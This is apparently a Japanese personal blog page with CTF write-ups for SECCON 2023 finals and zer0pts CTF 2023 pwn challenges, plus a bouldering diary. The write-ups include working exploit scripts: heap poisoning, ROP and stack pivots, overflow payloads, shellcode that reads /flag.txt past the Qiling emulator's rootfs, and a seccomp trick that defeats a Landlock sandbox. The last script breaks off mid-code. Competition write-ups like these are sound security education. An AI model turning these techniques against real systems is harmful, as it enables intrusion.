*2:実際のところ焼きや仕入れによってだいぶ違うとは思うが

*3:要出典

*4:実は年末にiPhone 8からオタクしか使わないということで有名のPixel Foldに移行したが、untappdの登録を酒の席で雑にした結果Apple loginが採用されており、Androidでうまくログインができず困っている。誰か助けてくれ

*5:ここ2年間くらいやってみたいと思っていながら、気づくのが12月中盤というのを繰り返していたので今年はできてよかった。もう来年以降はやらない気がする

*6:生活習慣の乱れを紅茶のせいにするな

*7:TsukuCTFのユーザーネームに使った。これがOSINT500点です

*8:前にオタクを誘ったらさすがにコーヒー飲むのに5000円は...みたいな感じで断られて泣いていた

SECCON 2023 finals writeup (babyheap 1970, Datastore2, landbox) と感想

チーム「:(」として国内の決勝に出ていました。 結果はチームメンバーがとても強かったこともあり、国内決勝ながら *1 優勝することができました。よかった。

優勝

チーム:)は、予選は potetisensei と icchyさん の二人チームだったが、本選から私と ngkzさん が合流する形で、4人で本選に出ました *2。

チームとして解いた問題は以下の通り。 チーム構成が、バイナリ大好きオタクたち(poteti, ngkz, mora)とWeb大好きオタクicchyさんというやや偏りのあるメンバー構成だったのでcryptoを見る人間が誰もいなかった。チームのムーブとしては、potetisenseiがなんでも係を担当しておりメキメキと問題を解き、icchyさんがWeb、ngkzさんがハードウェアとバイナリ系、僕はバイナリ系を見るみたいなことをしていた*3。各位が流石の強さだった。

僕自身は、babyheap 1970を解いた最初の3時間半がピークで、あとはほとんどひたすらDatastore 2に苦しんでいた。個人的にDatastore 2は1日目夜には解けると思っていて(実際解けるべきだったが)、かなりそこは悔しい。本当は1日目夜には終わらせて最終日はelk (or WkNote?)と格闘したかった。

実はこの頃は多めに見積もって1日目中だと思っていた

大会としては、問題の質が、運営が変わってからのCTFとしては"いつも通り"よかったが、これを維持するのは本当に大変なことだと思うので感謝しかない。最近あまりCTFしていない人間が作問するのは悪だと思っていてその意味ではSECCONで僕が作問すべきではないと思ってはいるものの、もし本当に問題足りなくなりそうだったらいつでも行くので言ってください(とはいえptr-yudaiがいるからpwnが足りなくなることはないんですね)。SECCON全体は見ていないからよくわからないが、盛況だったようで何より。来年以降も継続していくのは本当に骨が折れると思うんですが、できる限り続くと外野としては嬉しいですね。スポンサーもいつもありがとうございます *4

以下は作問者に感謝の文です(解いた問題のwriteupです)。

[Pwn 240] Babyheap 1970 (5 solves)

問題設定

Pascalで書かれた謎のプログラムが渡される。デフォルトでVSCodeではsyntax highlightingが効かなくてその意味でも1970年に戻ったつもりで解いた。サービスとしては以下のreallocとeditのどちらかを4つのノートに対して行うことができる。

procedure realloc();
var
   id : integer;
begin
   id := get_id();
   g_size[id] := get_size();
   setLength(g_arr[id], g_size[id]);
end;

procedure edit();
var
   id    : integer;
   index : integer;
begin
   id := get_id();
   index := get_index(id);
   write('value: ');
   flush(output);
   read(g_arr[id][index]);
end;

バグは、境界検査で、配列の要素を1個外側まで配列外参照できてしまう。

function get_index(id : integer): integer;
var
   index : integer;
begin
   write('index: ');
   flush(output);
   read(index);
   if (index < 0) or (index > g_size[id]) then begin
      writeln('Index out of range');
      halt(1);
   end;
   get_index := index;
end;

解法

あとは、やるだけそうだが、Pascalのバイナリの中で何が起きているのかさっぱり分からずheap allocatorがどうなっているのかも何も知らなかったのでそこからのスタートだった。が既にもうだいぶ忘れた。この類の変な言語問は多分上手で、普通に処理系guessだけで解けてしまったので素早く解けたし、結果どういう仕組みだったのかがわからないとも言う*5。

雑に覚えていることとDiscordに書いたメモを振り返ると、大体わかっていることは次の通り、

  • heapのアルゴリズムは、言語処理系にありがちな、チャンクサイズごとにmmapをして、初期化時にfree listを構築するようなallocator。ただし、なぜか領域でサイズを判断するのではなく、サイズ情報がチャンクの中に埋め込まれている。
  • この埋め込まれた情報をもとにreallocで行われている、setLengthにおけるリサイズの判断が行われている
  • æ•´æ•°åž‹integerは16bits

reallocは大きくなる方向にしか走らない(?)模様で、デフォルトの0x20から広げて大きさ0x60のチャンクのfreelistのfdを書き換えるとmallocがいい感じに走りあとは自由なchunkが得られる。このために

  1. 3のバッファをサイズ0x60になるようにrealloc
  2. 4のバッファをその下にくるように即realloc
  3. 3のバッファのbuffer overwriteで、サイズ情報を0x80にする
  4. 4のバッファを、reallocして44にすると、heap上は0x80程度あればよく既に0x80あることが分かるので、reallocされない。かつ長さ情報が44になるので、4のバッファが好きにoverwriteできるようになる
  5. これを用いて4の次のfreelistにつながっているバッファのfdを好きなアドレス(victim)に書き換え(今回は、これらのバッファを管理している配列 g_arr : array[0..3] of array of integer;のポインタに向ける)
  6. 二度size36で、reallocしてvictimへのバッファを確保

でAAWをする

# 工程1, 2
realloc(target, 36)
realloc(target+1, 36)


# 工程3
edit(target, 36, 0x8081)
# 工程4
realloc(target + 1, 44)

# これいる?よく覚えてない
edit(target + 1, 36, 0x8061)
edit(target + 1, 37, 0xf)

# 工程5
edit_64(target + 1, 40, victim_addr) #edit_64は単に1回に16bits

# 工程6
realloc(d, 36)
realloc(a, 36)

AAWは得られたが、AARを得るのは無理そうだったのでstack書き換えによるROPはきつそうとなる。ただ、PIEであって、Pascalは謎に関数ポインタを色々使っていそうなので、なんかいい感じのポインタを上書きしつつstack pivotしてROPすれば良さそうという気持ちになる。 とりあえずよく分からないので、適当に書き換えると性質よくRIPが取れそうな場所を探すと(以下は探していたときの残骸)

# addrs = [0x425680, 0x425590, 0x425458, 0x425270,
#         0x425990, 0x426b70, 0x426bd8, 0x426cd0, 0x42e9a8]
# addrs = [0x00430000]
addrs = [0x00430000]
avoid = [0x140]
for base in addrs:
    for i in range(0x140, 0x168):
        if i in avoid:
            continue
        if i == 0x167:
            val = gadget
        else:
            val = i
        addr = base + i*8
        print(hex(i), hex(addr))
        # set(addr, 4199360)
        set(addr, val)
realloc(0, 40)

0x00430000 + 0x167 * 8 あたりが良さそうということがわかる(edit中は発火せず、reallocするときに初めて発火する場所を探せば良い)。

後はどこに書き換えるか?だが、この場所で発火するときのレジスタを見ていると、

[----------------------------------registers-----------------------------------]
RAX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RBX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RCX: 0x38061
RDX: 0x1
RSI: 0xb0
RDI: 0x430980 --> 0x0
RBP: 0x7ffd6b40f3e0 --> 0x7ffd6b40f400 --> 0x7ffd6b40f420 --> 0x0
RSP: 0x7ffd6b40f2a8 --> 0x41a6cb (lea    rsp,[rsp+0x8])
RIP: 0x423800 (js     0x42380a)
R8 : 0x7fffffffffffffff
R9 : 0x7
R10: 0x7ffd6b40f070 --> 0x3433383438353600 ('')
R11: 0x246
R12: 0xe0
R13: 0x58 ('X')
R14: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
R15: 0x7
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

のようにrdiは基本的に良さそうで、 0x4022ab: mov r15, qword [rdi+0x28] ; mov rsp, qword [rdi+0x30] ; jmp qword [rdi+0x38] ; (1 found) という謎ガジェットがあるのでこれを使った。*6

今回のプログラムはstatically linkedなのでsyscallを使ってsigreturnすれば良い。

最終的なスクリプト: ctf_writeups/2023/seccon_finals/babyheap_1970/solve.py at master · moratorium08/ctf_writeups · GitHub

ちなみに、pwntoolsがローカルの自分のパソコンに入ってなくて、自分でフラグが獲得できなくて泣いていた

1st blood ✌ *7

[Pwn 388] Datastore 2 (2 solves)

とても苦しんだ問題。

問題設定

この問題は予選の方で出たDatastore 1の改定版で、とりあえずdiff を見ると、

  1. 元々あったindexのバウンダリー検査の脆弱性が無くなる
  2. arrayの中身を再帰的に削除する機能が追加
  3. コピー機能が追加
  4. 文字列の参照カウント機能の追加
  5. 文字列の更新機能がなくなり、更新は削除->作成が行われる

あたりが起きていることがわかる。この時点で予選のwriteupを引っ張り出してきたが、思い出すのに苦労した上に全く使えないことが分かり萎える。

解法

改めてソースコードを眺めてみると、refcntが露骨にuint8_tで定義されており、integer overflowをしてくださいと言わんばかりである。これが実際存在する唯一の脆弱性だった。arrayをいい感じにコピーしていけば、簡単に256回の文字列のコピーができる。つまり、文字列のUAFができる。これと、str_tと長さ1のarrayの0番目のdata_tのintの値の場所が一致することを用いると、任意のアドレスのreadと、任意のバッファのfreeが可能になる。

問題はwriteのprimitiveでどこを書き換えてPCをとるかで、こんなもんすぐにできるだろと思っていたら一生できず本当に禿げました。後から考えてみるとかなり無意味な苦労をしていた。とりあえずめんどいポイントとして

  1. scanf("%70m[^\n]%*c", &buf);でヒープが確保される。これの挙動をよく理解していなかったが、malloc(0x70)して確保されたバッファにデータを書き込み、その後で書き込んだ文字数が入る程度にrealloc(n)をして縮める。この縮める操作が面倒で、"%70m の文字列長の制約上必ずreallocのresizeが走ってしまうのでstack上への書き込みをtcache poisoningでしようとすると、そのタイミングで制約違反になる
  2. 整数書き込みを用いると好きな値を書き込めるが、書ける場所が16の倍数のアドレスに限定された上で、そのアドレス-8の場所に変な値(型タグ)が書き込まれる
  3. fakeなarrayを作ると、16の倍数でないところにも書き込めるが、書き込む前に、そのアドレス-8の場所に適切な型タグが書き込まれていないとexitしてしまう

がある。この制約により意外と面倒が多く色々な手法を試してはダメだを繰り返していた(上述の制約に最初に気づかずstack上のROPのpayloadをscanfを通してしようとする、Arrayを通してexit_funcsを書き換えようとする、initialのnextを書き換えようとする *8、いい感じにタグを回避しながらROPするガジェットを探す、etc)。最終的にもう無理やねんと言って上の制約をpotetisenseiに説明してアイデア募集したら、saved rbpを上書きしてstack pivotできるんじゃね?と言われ(ちなみにretアドレスはalignment制約上だめ)、確かにそれはありだなとなり実際やってみたらうまく動いた。sasuga...

ちなみにmemsetのlibcのGOT、16の倍数のアドレスにはなかった。嫌がらせ?

あまりこの思考にならなかったのはなぜか後から考えていたが普通に考えてsaved rbpだけ書き換えられるがROPはうまくできない状況がまあまあ珍しいのと(alignment制約自体はたまにある気がするが大抵なんとかなる)、適切にstack canaryが入っていないことが大事 ((今回は関数mainの中に char buf[xx] のようなバッファがなく、コンパイラがmainにstack canary checkを配置していなかったので大丈夫だった)) だったので、まあまあレアなケースかなとは思う(が思考から外しているのは謎だった)

やることとしては、

  1. strでfake chunkを作って、
  2. 上でleakした仕組みでそのchunkをfree、
  3. このチャンクを用いてtcache poisoningをして、
  4. editのrbpを書き換えてmainからretして、stack pivotで終わり

というかなり典型的なheap風水*9。改めて見返すと、かなり一日目に解き終わるべきだった気がするが、internationalでも4 solvesだった状況を考えてもまあまあめんどめ(or ハマるタイプ)のheapだったと思うので許していただいて、、*10

最終的なスクリプト: ctf_writeups/2023/seccon_finals/Datastore2/solve.py at master · moratorium08/ctf_writeups · GitHub

ちなみに結構非効率なtcacheのclear outなどをしているので動作が遅かった。実はこれは結構問題で、問題文中で alarm(60) と書かれているのに、実はタイムアウトが30秒に設定されており、リモートでフラグを取るのに失敗していた。これについて運営に文句を言ったところ、先に解いていた(!)TSGが許してくれた*11 ので、タイムアウトが適切に直され、無事このスクリプトで通すことができた。そうでなかった場合、虚無のPoC最適化が必要だったので、この点も感謝の限り...

elk、見たかったな〜。毎回何らかの問題に詰まってしまって反省している

[Misc 388] landbox (2 solves)

Datastore2でつらくなっているときに息抜きとして見た問題。

LandlockというLinux謎機能でプロセスに制限をかけた上で、 /readflag をするというプログラムが与えられる

void give_up_flag(void) {
  int abi, ruleset_fd;
  struct landlock_ruleset_attr *ruleset_attr = &default_landlock_ruleset_attr;

  abi = landlock_create_ruleset(NULL, 0, LANDLOCK_CREATE_RULESET_VERSION);
  assert (abi >= 0);

  switch (abi) {
    case 1:
      ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_REFER;
      __attribute__((fallthrough));
    case 2:
      ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_TRUNCATE;
  }

  ruleset_fd = landlock_create_ruleset(ruleset_attr, sizeof(*ruleset_attr), 0);
  assert (ruleset_fd >= 0);

  assert (!prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0));

  landlock_restrict_self(ruleset_fd, 0);
}

int main() {
  give_up_flag();
  read_flag();
  return 0;
}

Landlock: unprivileged access control — The Linux Kernel documentation あたりのドキュメントを読むと、かなり正しい実装をしていそうに見える。少なくともフィルターの書き方は正しいそうだし、そもそもlandlock_add_ruleをしていないので「何も読めない」プロセスになってから read_flag が呼ばれる実装の模様で、これを突破できるとするとlandlockの仕組み自体が破滅しているということになってしまう。困った。

という状態で give_up_flag をよく見てみると、怪しい箇所として landlock_restrict_self のエラーハンドリングが行われていない。このシステムコールが失敗するならば、単に制限が何もかかっていないプロセスになるので、これを失敗させようという気持ちになる。manを見てみると landlock_restrict_self が失敗しうる状態は以下の通り

       landlock_restrict_self() can fail for the following reasons:

       EOPNOTSUPP
              Landlock is supported by the kernel but disabled at boot
              time.

       EINVAL flags is not 0.

       EBADF  ruleset_fd is not a file descriptor for the current
              thread.

       EBADFD ruleset_fd is not a ruleset file descriptor.

       EPERM  ruleset_fd has no read access to the underlying ruleset,
              or the calling thread is not running with no_new_privs, or
              it doesn't have the CAP_SYS_ADMIN in its user namespace.

       E2BIG  The maximum number of composed rulesets is reached for the
              calling thread.  This limit is currently 64.

いくつか試してみたが実験上はうまく動かず頭をかかえていた *12

というところで、ふとseccompで landlock_restrict_self を禁止してしまえばいいじゃないかという気持ちになる。実はそれだけです。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/landlock.h>
#include <sys/prctl.h>
#include<errno.h>

int main() {
    int rc;
    scmp_filter_ctx ctx;

    ctx = seccomp_init(SCMP_ACT_ALLOW);
    if (ctx == NULL) {
        perror("seccomp_init");
        return -1;
    }

    rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(landlock_restrict_self), 0);
    if (rc < 0) {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return -1;
    }

    rc = seccomp_load(ctx);
    if (rc < 0) {
        perror("seccomp_load");
        seccomp_release(ctx);
        return -1;
    }
    int x = execve("/readflag", NULL, NULL);
    perror("failed to run readflag");

    return 0;
}

話はここからで、これ取り組みさえすればすぐに解けることが"バレる"なと思ったが、1日目終了時点でまだ1 solveだったので、フラグ提出をちょっと遅らせるということをしていた

実際それが功を奏したのか(?)、最終的に2 solvesで388点を得ることができた。まあ正直この問題のポイント差はあんまり重要ではなかったが

感想

個人のパフォーマンスとしては、うまく行った問題1問とうまくいかなかった1問+普通の1問で、平均して期待値程度のパフォーマンスといった感じ。簡単なpwnを通す程度の能力を提供すると言ってチームに参戦したのでギリギリ許されたか...? 各位がメキメキと問題を通しており、さすがだなあと思いながら見ていたし、これワシが解かなくても勝てそうじゃないか?とも思っていた、特にDatastore2で発狂していたときには。

改めてになりますが、運営ありがとうございました。本当に楽しかったです。本選にも参加してよかったと思いました。正直全ての問題を楽しみ切る前にコンテストが終わってしまうので、いつもちょっともったいないなあとは思うんですが。

最後にお気持ちを書くと、正直老人としてTSGの枠を使うのは申し訳ないと言いながら、国内枠の優勝を取るのはちょっとまずいという説はあった、ほんまか。まあ僕は学生だから良いですか?ありがとう。icchyさんが優勝インタビューで話していたように、ちゃんと国際枠で戦うべきなんですが、普通にSECCONが良い大会になりすぎてなかなかウオですね。

*1:TSGらを抑えて

*2:予選はTSGで出ていたが、本選出るにあたっては、若者各位頑張って欲しいという感情が強いので(?)出んとこと思っていた。が、冷静になって考えてみると2人で出てたチームあったよなと思って声をかけた。急に押しかけてしまい、すみませんという状態。ありがとうございました

*3:とはいえ割りと分担が結局効いていた。例えばハードウェアのことがなんにも分からなかったので問題説明を聞いてワロタと思ってngkzさんに全てを任せてハードウェア部屋から帰ってきたら、すぐに颯爽とハードウェア問を解いて帰ってきたみたいな話がある。結局あの問題が一番なんだったのか分かっていない

*4:GMOからの副賞が、執行役員擁する我々のチームに贈られたのはちょっとウケた。僕はただの学生なのでありがたく使わせていただきます

*5:結果的にはコンパイラのソースコードも、バイナリのreversingもしなかったので、以下に書いているのは挙動からguessしたものです

*6:ちなみにpwnが下手なので普通にちゃんと探したが、いつも忘れるxchg rsp, raxでいい

*7:ちなみに国際チームであっても1st bloodだった。こういう速解きが割と上手かもしれない

*8:これはそもそもpwnが下手で、initialはexit_functionのlistの最終要素であるというinvariantを破壊してしまうので、nextの関数が呼ばれる前にfreeで落ちる

*9:ちなみに、callocがArray確保に使われていてtcacheが使われず、なぜかcopyではmallocが使われるのでそっちを使って書き換える、や端々になんか面倒な話がある、どぼじでぞういうごどずるの

*10:ここらへんで "筋力"の衰えを感じるにも覚えるが、実は元々の自力な気もする

*11:実際に同様のclarが国際決勝側でも飛んだらしく、こちらは先に解いていたチームが許さなかったらしい

*12:実は想定解はE2BIGを起こさせることだったらしい。僕の実験が下手です。そもそもこの文のcomposedの意味を取り違えていた

御殿下ボルダリング壁日誌2023

壁2023

ボルダリングを7月から始めた。あんまりちゃんとメモをしていなかったが、TSGのslackに雑に投稿していた情報をまとめてみようと思う。なのでこれは TSG Advent Calendar 2023 - Adventarの記事となります。

実はちょうど今日でボルダリングを始めてからちょうど5ヶ月。つまり、7月4日にボルダリングを始めた。

なお御殿下の2023年現在の課題は(ネタバレを含みますが)攻略!御殿下 | 御殿下ボルダリングを参照してください(以降、簡単に課題について参照するので興味があれば)

7月4日:初めて壁に登る

sh-mugに誘われて、御殿下のボルダリング講習会を受ける。

この日は7~8級と6級の垂壁の緑■が登れただけでスタートした。

7月6日:チョークを買う

7月18日:秋パンに初めて行く

potetisensei/sh-mugと行った。あんま覚えてないけど6級をちょっと登る程度だったはず

7月29日

ヤモリを自認

8月5日

秋パンの6級が2/3くらい登れるようになったらしい

8月8日

御殿下の垂壁の6級がすべて登れるようになる。順序はT -> Iだったはずで、Tはこの日以前のどこかで登れていたはず。Iはムーブが本質で、ムーブを教えてもらったのでできるようになった

8月12日:秋パン

3個くらい登れない6級がある

8月24日:初NOBOROCK渋谷

3級が登れたらしい

8月27日:NOBOROCK再訪

8月29日:6級V完登

9月12日:秋パン5級1つ完登

この日potetisenseiと一緒に秋パン行って、ムーブ本質の5級を一個登ったはずだが、スクショがこれしかなかった

9月20日:秋パン5級2つ

28tomabouと登った。

ちなみに同日に江添さんが登っていて、目撃した

www.youtube.com

9月26日:傾斜壁の6級■がまだ登れない

今になって思うがこの課題が本当にヤバいです。秋パンのむずい5級はある。とにかくホールドの摩擦がなくなっているのと、普通に本質がむずい。御殿下が難しいと言われる所以たる課題だと思う。

ちなみに、現在の御殿下の課題は来年2月に無くなるらしいので、今のうちに挑戦してくれ

9月29日:御殿下6級全完

10月2日:NOBOROCK渋谷

2級を2つほどらしい

NOBOROCKに関しては、混んでる時にしか行ったことがなくあんまり挑戦回数が増やせないのでよく分からん

10月6日:5級x、5級-完登

xは正直今でも気を抜くと最後の本質の保持に失敗する

10月8日~10月9日

Google CTF及び関連イベントで訪日していた tsuroさんや、sirdarckcatさんらGoogle Securityチーム御一行と(連日)秋パンへ行く。たのしい

ちなみにtsuroさんと登っているときはなんか緊張して全然登れなかった

10月12日:5級V完登

10月19日:秋パン

この辺で5級はまあ半分は登れるかなという感じだったと思う

10月21日:秋パンで初4級完登

3階奥のスラブ

10月28日:御殿下4級-完登

まだ5級が一つ登れていないが、先に4級を一つ落とした。ムーブが分かると(怖いが)簡単

10月30日:御殿下4級垂壁の■完登

最後ややランジがある。やってると派手なので、ちょっと楽しいが、落ちると結構高いところから落ちることになるので怖い。

というか御殿下は、ゴール取り本質が多すぎる。ほとんどそうじゃないか?? 高いところから落とさないで欲しい 🥺

11月6日

御殿下最後の5級がなかなか登れない。が御殿下の課題は意外と本質が複数あったりするので少しずつ進捗が感じられる良さもある

11月10日

potetisenseiらと登る。秋パンの4級を3つほど登った。

個人的感覚では 秋パン6級 > 御殿下6級(傾斜壁■以外)> 御殿下5級 ≒ 秋パン5級 > 御殿下6級傾斜壁■ > 御殿下4級 > 秋パン4級

という感じがある。6級がとにかく難しめで、これのおかげで初心者お断りになり、御殿下壁が空いている気がする(ありがとう)。 や、まあそういう壁で成長する人間もまたいるんですが

11月13日:御殿下5級全完

御殿下5級■が登れた。

この課題、僕だけかもしれないが、左手前腕をめちゃくちゃ擦るんですよね。まだ傷跡が癒えてません

bsky.app

11月27日

傾斜壁4級の■がバラしではできたが、この課題ずっと力入れていてしんどく最後にヨレてしまう

11月29日:秋パン

新しく4級を一つクリアする。現在は、基本的に4級に挑戦しているが、秋パンの4級は多くがまだ手が届かない感じがある。

12月1日

これが最近登った最後。

追記:12月4日

今日登ったら、傾斜壁4級の■ができた

まとめ

結局のところ現状御殿下は4級2つ完登、1つは目処はついた状態4級3つ完登、最後の1つは、初手がきついといった感じ。 研究室から徒歩2分程度なのでついつい行ってしまうし、進捗が出るので精神に良い。

あとはコミュニティ課題(と呼んでいるが、青いファイルに乗っている、有志が作った課題)にもいくつか面白いのがあって紹介したいんだが、ネットに情報が無いので参照ができない、悲しい。 そういう、ちょっとアナログなところもいいですよね。 コミュニティ課題の中にはちょっと異常(というか、できるのか?と思う)な課題もあって、これは作者に正解を教えてもらいたい感じもある。 もっといえば自分で課題を作りたいので壁の写真が欲しい。これは講習会中の委員の人を捕まえれば良いのかな。御殿下は(プライバシー保護もあり?)写真禁止で、自分がどう登っているのかを客観的に見ることができないのは不満点ではある。

噂によれば、来年の2月に課題が入れ替えられて簡単にすることを目指しているらしい。御殿下の現行の壁は難しくはあるが打ち込みがいがあって楽しい *1 ので、そういった課題が次もたくさんあることを願うばかりである。

*1:slackのログを見る限りでは、それから45回ボルダリングをしたらしい。

zer0pts CTF 2023 writeup

開催ありがとうございました。 TSGで参加して、14位だったらしい。pwnのaush, qjail, WISEを解いたのでそれのwriteupです。

aush (99pts 101solves)

ちょうど良いwarmupだった

  char *args[3];
  char inpuser[LEN_USER+1] = { 0 };
  char inppass[LEN_PASS+1] = { 0 };
  char username[LEN_USER] = { 0 };
  char password[LEN_PASS] = { 0 };


   /* ç•¥ */

  write(STDOUT_FILENO, "Username: ", 10);
  if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
    return 1;

  if (memcmp(username, inpuser, LEN_USER) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid username";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

となっており、オーバーフローが自明にできる。inpuserをオーバーフローしてusernameからpasswordまで書き換えれば終わりかと思ったが、どうやらusernameの方がバッファとしてstackの上に取られる模様。つまりusernameが当てられないと即execveされてしまう。

これを回避するためにenvpをinvalidなpointerにすることで、syscallを失敗させる。実際バッファオーバーフローは十分大きいので、環境変数を破壊することができる。

payload_1 = b"A" * 0x198 + b"\xff\xff"
payload_2 = b"A" * (0x198 - 0x20 - 0x20) + b"\x00\x00"

rs(payload_1, new_line=False)
wait_for_attach()
rs(payload_2, new_line=False)
interactive()

github.com

qjail (146pts 42solves)

Qilingというbinary instrumentationツールを用いたsandbox

以下のようなsandbox

#!/usr/bin/env python3
import qiling
import sys

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ELF>")
        sys.exit(1)

    cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]]
    ql = qiling.Qiling(cmd, console=False, rootfs='.')
    ql.run()

を使って次の自明なBoFがあるプログラムを動かす

#include <stdio.h>

int main() {
  char name[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  puts("Enter something");
  scanf("%s", name);
  return 0;
}

ただしchecksecが

ubuntu@ip-172-31-24-131:~/zer0pts_23/qjail/bin$ checksec --file=vuln
[*] '/home/ubuntu/zer0pts_23/qjail/bin/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

なので、かなり不可能そうな見た目。 ただQilingについて調べると(こういうエミュレーターソフトウェアあるあるだが)

  • canaryは0xaaaaaaaaaaaaaa00固定
  • ASLRなし
  • stackが実行可能

ということがわかったので、stackにshellcode流して、retアドレス書き換えによるRIP制御で飛ばせば良いことがわかる。 最後の問題は、 qiling.Qiling(cmd, console=False, rootfs='.') と実行されており、rootfsが.にあるので、 /flag.txt が読めない点だが、 これは *1 openatをしつつ絶対パスを渡すことで回避できるバグが今でも存在するので、それをすればよい。

main = 0x7fffb7dd71a9
canary = b"\x00aaaaaaa"
canary_addr = 0x80000000dd48
flagbuf = 0x80000000dc40
databuf = 0x80000000db40

payload = b"/flag.txt" + b"\x00" * 7
payload_addr = flagbuf + len(payload)
print(hex(payload_addr))

asm_payload = f"""
mov rdi, 1
mov rsi, {flagbuf}
mov rdx, 0
mov rax, 257
syscall
mov rdi, rax
mov rsi, {databuf}
mov rdx, 100
xor rax, rax
syscall
mov rdi, 1
mov rsi, {databuf}
mov rdx, 100
mov rax, 1
syscall
"""
asm_payload_bin = asm(asm_payload)
print("len: ", hex(len(asm_payload_bin)))
assert(len(asm_payload_bin) < 0x80)

payload += asm_payload_bin
payload += b"A" * (0x108 - len(payload))
payload += canary
payload += p64(payload_addr)
payload += p64(payload_addr)

recvuntil(b"Enter something")
sendline(payload)
#with open("../qjail_solver/payload", "wb") as f:
interactive()

github.com

WISE (304pts 8solves)

Crystalで書かれた簡単なnoteアプリのpwn。 ソースコードは以下に示すように短くバグも明らかで、iterator invalidationチックな、listサイズのreallocationに付随して起こるUAFが存在する。ただ、Crystalとかいう謎言語のpwnなので、ここからが難しい。 *2

suspect = nil
id_list = [] of UInt64
name_list = [] of String

puts "1. Add new citizen",
     "2. Update personal information",
     "3. Print list of citizen",
     "4. Mark as spy",
     "5. Give memorable ID to spy",
     "6. Print information of spy"

loop do
  print "> "
  STDOUT.flush
  case gets.not_nil!.chomp.to_i
  when 1
    id = Random.rand(UInt64)
    print "Name of person: "
    STDOUT.flush
    name = gets.not_nil!.chomp

    id_list.push(id)
    name_list.push(name)
    puts "ID: #{id}"

  when 2
    print "ID: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      print "New name: "
      STDOUT.flush
      name_list[index] = gets.not_nil!.chomp
    end

  when 3
    id_list.zip(name_list) { | id, name |
      puts "----------------",
           "ID: #{id}",
           "Name: #{name}"
    }

  when 4
    print "ID of suspect: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      puts "[+] Marked '#{name_list[index]}' as possible spy"
      suspect = id_list.to_unsafe + index
    end

  when 5
    if suspect.nil?
      puts "[-] No spy marked"
    else
      print "New ID: "
      STDOUT.flush
      suspect.value = gets.not_nil!.chomp.to_u64
    end

  when 6
    if suspect.nil?
      puts "[-] No spy marked"
    else
      puts "ID: #{suspect.value}"
      index = id_list.index suspect.value
      if index.nil?
        puts "Name: <unknown>"
      else
        puts "Name: #{name_list[index]}"
      end
    end

  else
    break
  end
end

メニューの各機能の概要は次の通り

  1. 任意長の名前で人を登録。64bit のIDが付与される
  2. IDを指定して名前を更新
  3. 登録されている人のリストを表示
  4. IDを指定して、suspectな人のint_listのエントリへのpointerを得る
  5. suspectなpointerに値を代入
  6. suspectなpointerから値を読む

試行錯誤 + libgc のソースコードリーディングの結果、特に細かなチェックは存在しないので、雑にfreelistにつないだバッファをUAFをしてpoisoningするだけとわかる。そのためのおおまかな工程は以下の通り

  1. 十分大きなサイズのid_listを作る
  2. id_listの0番目をsuspect
  3. id_listのサイズを増やして、元のid_listをfree -> id_listがfree listへつながる
  4. suspectへのwriteを使ってfree listのfdをid_list自身を含む場所に書き換える(これを後ほどmallocする)
  5. 3でfreeしたid_listと同じサイズの名前で人を2回addし、id_listを上書き。id_list bufを自分自身にする
  6. メニューの3と5と6を利用してAAR (program base / libc_base / stack addressのリーク)
  7. 最後に4と5でポインタを移動させてROPを組む

ただ、随所でCrystalの気持ちを読む必要があり、それは気合 *3

def add(name):
  menu(1)
  rs(name)
  recvuntil(b"ID: ")
  return int(recvline())

def update(id, name):
  menu(2)
  rs(str(id).encode("ascii"))
  rs(name)

def get_info():
    recvuntil(b"ID: ")
    id = int(recvline())
    recvuntil(b"Name: ")
    name = recvline()
    return (id, name)

def print_list(do_print=False):
    menu(3)
    citizens = []
    while True:
      if recv(1).startswith(b">"):
          break
      (id, name) = get_info()
      if do_print:
          print(f"{id}: {name}")
      citizens.append((id, name))
    sendline(b"3")
    return citizens

def mark(id):
  menu(4)
  rs(str(id).encode("ascii"))
  #recvuntil(b"[+] Marked '")
  #name = recvuntil(b"'")
  #return name

def give_id(id):
  menu(5)
  rs(str(id).encode("ascii"))

def print_spy():
    menu(6)
    return get_info()

"""
a_id = add("A")
b_id = add("B")
update(b_id, "BB")
print_list()
c_id = add("C")
s = mark(c_id)
print(s)
assert(mark(c_id) == b"C")
give_id(123)
assert(print_spy()[0] == 123)
"""

a_id = add("A")
print(f"a_id: {hex(a_id)}")
mark(a_id)
for i in range(3):
    add("A")

heap_base = print_spy()[0]
print(f"heap_addr: {hex(heap_base)}")
#array_buf_addr = heap_base + 0x1a00
#string_array_addr =
#string_array = heap_base - 0x4100
#print(f"array_buf_addr: {hex(array_buf_addr)}")
#print(f"string_array: {hex(string_array)}")
int_array = heap_base - 0x30e0
string_array = int_array - 0x20
print(f"int_array: {hex(int_array)}")

for i in range(39):
    add("A")
mark(a_id)
print(print_spy())
for i in range(5):
    add("A")
add("A")
wait_for_attach()
add("A")
print(print_spy())

wait_for_attach()

target = int_array + 32 - 0x1b0 + 0x10
print(f"target: {hex(target)}")
# print(target)
# interactive()
give_id(target)
add("A" * 0x1b0)
wait_for_attach()
victim = heap_base + 0x13f20

def to_h(x):
    return x - 0x7f7e4eb5ef80 + heap_base
'''
0x7f7e4eb5be40:   0x000000000000008b  0x0000000400000001
